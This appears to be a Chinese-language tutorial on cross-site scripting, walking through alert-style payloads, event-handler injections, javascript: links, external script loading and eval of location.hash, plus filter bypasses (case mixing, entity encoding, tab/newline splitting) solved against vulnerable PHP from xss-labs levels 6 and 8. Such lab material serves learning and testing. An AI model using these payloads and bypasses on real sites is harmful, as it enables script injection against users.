测试常用的的标签

下面这个弹出是警告框
代码

1
<script>alert('a')</script>

下面这个是弹出确认框
代码

1
<script>confirm('xss');</script>  

下面这个弹出来的是输入框
代码

1
<script>prompt('a')</script>

为协议弹窗

javascript:alert(1);是为协议,我们用这个在浏览器里面输入他就会弹出

然后回车,他就会弹窗

超链接<a>标签弹窗

下面这个<a>是定义超链接的
只要有人点击就会弹窗

1
<a href="javascript:alert(1);" >点我</a>

载入图形<img>标签弹窗

下面这个只能在IE浏览器6才能弹窗

1
<img src="javascript:alert(1);">

事件进行弹窗

事件属性名 作用
onfocus 获取到焦点时触发
onerror 事件会在文档或图像加载过程中发生错误时被触发
onblur 当用户离开执行一段Javascript代码
onchange 事件会在域的内容改变时发生
onkeydown 事件会在用户按下一个键盘按键时发生
onkeyup 事件会在键盘按键被松开时发生
onclick 事件会在对象被点击时发生
onselect 事件会在文本框中的文本被选中时发生
oninput 事件在用户输入时触发
onmousemove 事件会在鼠标指针移到指定的对象时发生

onerror

onfocus事件属性

onfocus 获取到焦点时触发
onfocus规定该事件发生时执行的 JavaScript

支持的HTML有

1
2
3
4
5
6
<a>, <acronym>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <button>, 
<caption>, <cite>, <dd>, <del>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>,
<form>, <frame>, <frameset>, <h1> to <h6>, <hr>, <i>, <iframe>, <img>, <input>,
<ins>, <kbd>, <label>, <legend>, <li>, <object>, <ol>, <p>, <pre>, <q>,
<samp>, <select>, <small>, <span>, <strong>, <sub>, <sup>, <table>, <tbody>,
<td>, <textarea>, <tfoot>, <th>, <thead>, <tr>, <tt>, <ul>, <var>

下面是我的测试

<input>标签表单元素弹窗
代码

1
2
3
<form>
<input type="text" onfocus="alert(1)">
</form>

点击输入框就会弹窗

<a>标签定义超链接弹窗
代码

1
<a href="" onfocus="alert(1)" >点我</a>

点击就会弹窗

<select>标签定义选项列表弹窗
代码

1
2
3
4
<select  onfocus="alert(1)">
<option value ="a">a</option>
<option value ="b">b</option>
</select>

点击就会弹窗

onerror事件属性

onerror 事件会在文档或图像加载过程中发生错误时被触发
支持该事件的 HTML 标签

1
<img>, <object>, <style>

下面是我的测试

<img>图片标签
我只要一打开就会弹窗因为加载一个没有的照片

onblur事件属性

onblur当用户离开执行一段Javascript代码

支持该事件的 HTML 标签

1
2
3
4
5
6
7
<a>, <acronym>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, 
<button>, <caption>, <cite>, <dd>, <del>, <dfn>, <div>, <dl>, <dt>,
<em>, <fieldset>, <form>, <frame>, <frameset>, <h1> to <h6>, <hr>, <i>,
<iframe>, <img>, <input>, <ins>, <kbd>, <label>, <legend>, <li>,
<object>, <ol>, <p>, <pre>, <q>, <samp>, <select>, <small>, <span>,
<strong>, <sub>, <sup>, <table>, <tbody>, <td>, <textarea>, <tfoot>,
<th>, <thead>, <tr>, <tt>, <ul>, <var>

下面是我的测试

<input>标签表单元素弹窗

代码

1
2
3
<form>
<input type="text" onblur="alert(1)">
</form>

当离开输入框的时候就会弹窗

onchange事件属性

onchange事件会在域的内容改变时发生
支持该事件的 HTML 标签

1
<input type="text">, <select>, <textarea>

下面是我的测试

<input>标签表单元素弹窗
代码

1
2
3
<form>
<input type="text"onchange="alert(1)">
</form>

我们输入一个字符回车就会弹窗

onkeydown事件属性

onkeydown事件会在用户按下一个键盘按键时发生
支持该事件的 HTML 标签

1
2
3
4
5
6
<a>, <acronym>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, 
<button>, <caption>, <cite>, <code>, <dd>, <del>, <dfn>, <div>, <dt>, <em>,
<fieldset>, <form>, <h1> to <h6>, <hr>, <i>, <input>, <kbd>, <label>, <legend>,
<li>, <map>, <object>, <ol>, <p>, <pre>, <q>, <samp>, <select>, <small>,
<span>, <strong>, <sub>, <sup>, <table>, <tbody>, <td>, <textarea>, <tfoot>,
<th>, <thead>, <tr>, <tt>, <ul>, <var>

下面是我的测试

<input>标签表单元素弹窗
代码

1
2
3
<form>
<input type="text"onkeydown="alert(1)">
</form>

在输入框回车就弹窗了或者随便按一个键盘的键就触发了

onkeyup事件属性

onkeyup 事件会在键盘按键被松开时发生

支持该事件的 HTML 标签

1
2
3
4
5
6
<a>, <acronym>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, 
<button>, <caption>, <cite>, <code>, <dd>, <del>, <dfn>, <div>, <dt>, <em>,
<fieldset>, <form>, <h1> to <h6>, <hr>, <i>, <input>, <kbd>, <label>, <legend>,
<li>, <map>, <object>, <ol>, <p>, <pre>, <q>, <samp>, <select>, <small>,
<span>, <strong>, <sub>, <sup>, <table>, <tbody>, <td>, <textarea>, <tfoot>,
<th>, <thead>, <tr>, <tt>, <ul>, <var>

下面是我的测试

<input>标签表单元素弹窗

1
2
3
<form>
<input type="text" onkeyup="alert(1)">
</form>

我输入任何一个东西松开的时候就会弹窗

onclick事件属性

onclick 事件会在对象被点击时发生。
支持该事件的 HTML 标签

1
2
3
4
5
6
<a>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, <button>, 
<caption>, <cite>, <code>, <dd>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>,
<form>, <h1> to <h6>, <hr>, <i>, <img>, <input>, <kbd>, <label>, <legend>,
<li>, <map>, <object>, <ol>, <p>, <pre>, <samp>, <select>, <small>, <span>,
<strong>, <sub>, <sup>, <table>, <tbody>, <td>, <textarea>, <tfoot>, <th>,
<thead>, <tr>, <tt>, <ul>, <var>

下面是我的测试

<a>标签定义超链接弹窗
代码

1
<a href="" onclick="alert(1)" >点我</a>

点击一下点我他就弹窗了

**<input>标签表单元素弹窗**
代码

1
2
3
<form>
<input type="text" onclick="alert(1)">
</form>

点击输入框就弹窗了

<img>图片标签
代码

1
<img src="https://www.baidu.com/img/flexible/logo/pc/result.png" onclick="alert(1)" >

点击百度的照片他就会触发弹窗

onselect事件属性

onselect 事件会在文本框中的文本被选中时发生
支持该事件的 HTML 标签

1
<input type="text">, <textarea>

下面是我的测试

<input>标签表单元素弹窗
代码

1
2
3
<form>
<input type="text" onselect="alert(1)">
</form>

我们选择他就弹窗了

oninput事件属性

oninput 事件在用户输入时触发

下面是我的测试

<input>标签表单元素弹窗
代码

1
2
3
<form>
<input type="text" oninput="alert(1)">
</form>

输入一个a就弹窗了

onmousemove事件属性

onmousemove事件会在鼠标指针移到指定的对象时发生
支持该事件的 HTML 标签

1
<base>, <bdo>, <br>, <head>, <html>, <iframe>, <meta>, <param>, <script>, <style>, and <title>.

下面是我的测试

<img>图片标签
代码

1
<img src="https://www.baidu.com/img/flexible/logo/pc/result.png" onmousemove="alert(1)"  >

只要鼠标一碰就被执行

web引用js代码

语法

1
<script  src="http://1.1.1.1/a.js"></script>

测试

web服务器代码是

1
2
3
4
<?php
$str=$_GET["a"];
echo "你输入的是".$str;
?>

调用js的代码是

1
alert(1)

我们这URL里面输入<script src="http://127.0.0.1/a.js"></script>
他就会弹窗

winodws.location.hash弹窗

winodws.location.hash介绍

比如我们URL地址输入是http://1.1.1.1/a.html#aaaaaa
winodws.location.hash就会取#aaaaaa
实咧
代码
下面代码location.hash取的值输出出来
但是他前面有一个#我们可以用substr()方法取字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<meta charset="utf-8"/>
<title>测试</title>
</head>
<body>
<script type="text/javascript">
var a=location.hash;
var b=location.hash.substr(1);
console.log(a);
console.log(b);
</script>
</body>
</html>

我们在浏览器输入http://1.1.1.1/a.html#aaaaaa
结果可以看见叫#aaaaaa输出出来了
substr(1)方法叫#给去掉了

利用winodws.location.hash弹窗

我们测试

代码

1
2
3
4
<?php
$str=$_GET["a"];
echo "你输入的是".$str;
?>

我们在URL里面输入
eval()意思是并执行其中的的 JavaScript 代码

1
<script>eval(location.hash.substr(1));</script>#alert('1')

可以看见他弹窗了

绕过检查

/替换空格绕过检查

列如
onmousemove事件会在鼠标指针移到指定的对象时发生

1
<img/src="https://www.baidu.com/img/flexible/logo/pc/result.png"/onmousemove="alert(1)">

还是只要一碰一样能弹窗

大小写绕过检查

测试1
代码

1
<A HrEf="" onclick="alert(1)" >点我</a>

html是不区分大小写的他还是可以执行的

xss-level6

xss-level6就是可以用大小写进行绕过
他的代码
他虽然过滤了都是没有进行大的过滤我们就可以进行大小写转换来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

输入的代码

1
'"><A HrEf="javascript:alert(1);" >点我</a>//

测试2

1
<A HrEf="JaVaScRiPt:alert(1)" >点我</a>

url也是不区分大小写的

无分号无引号

测试
代码

1
<a href=javascript:alert(1) >点我</a>

他也是可以弹窗的

编码绕过

参考https://www.fujieace.com/penetration-test/xss-100.html

1
2
3
4
字符串 	ASCLL	&#代表十进制 		&#x代表十六进制
A 65 &#65; &#x41;


1
javascript:alert('a')

上面HTML编码后变成

1
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x61;&#x27;&#x29;

最终代码

1
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x61;&#x27;&#x29;">点我</a>

还是可以被执行的

还可以用换行和TAB来进行绕过

1
2
&#9;=TAB键
&#13;=回车

原代码

1
<a href="javascript:alert(1)" >点我</a>

编码后

1
<a href="&#9;java&#13;sc&#9;rip&#13;t:aler&#13;t(1)" >点我</a>

上面这个还是可以被执行的应为在url里面是不区分回车和TAB键

更多查看这个原文件https://www.fujieace.com/penetration-test/xss-100.html

xss-level8

他过滤的比较严但是我们编码就可以绕过了
源代码
下面的代码几乎叫全部给过滤掉了,我们就利用编码绕过检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo $str7;
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
1
javascript:alert('a')

HTML编码后变成

1
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x61;&#x27;&#x29;

不用javascript:<SCRIPT...绕过

有点网站会添加黑名单来实现过滤xss攻击
比如网站会过滤掉javascript:<SCRIPT...
我们就可以用<body>标签在用onload 事件这个事件会在页面加载完成或执行一个js代码

1
<body onload=alert('a')>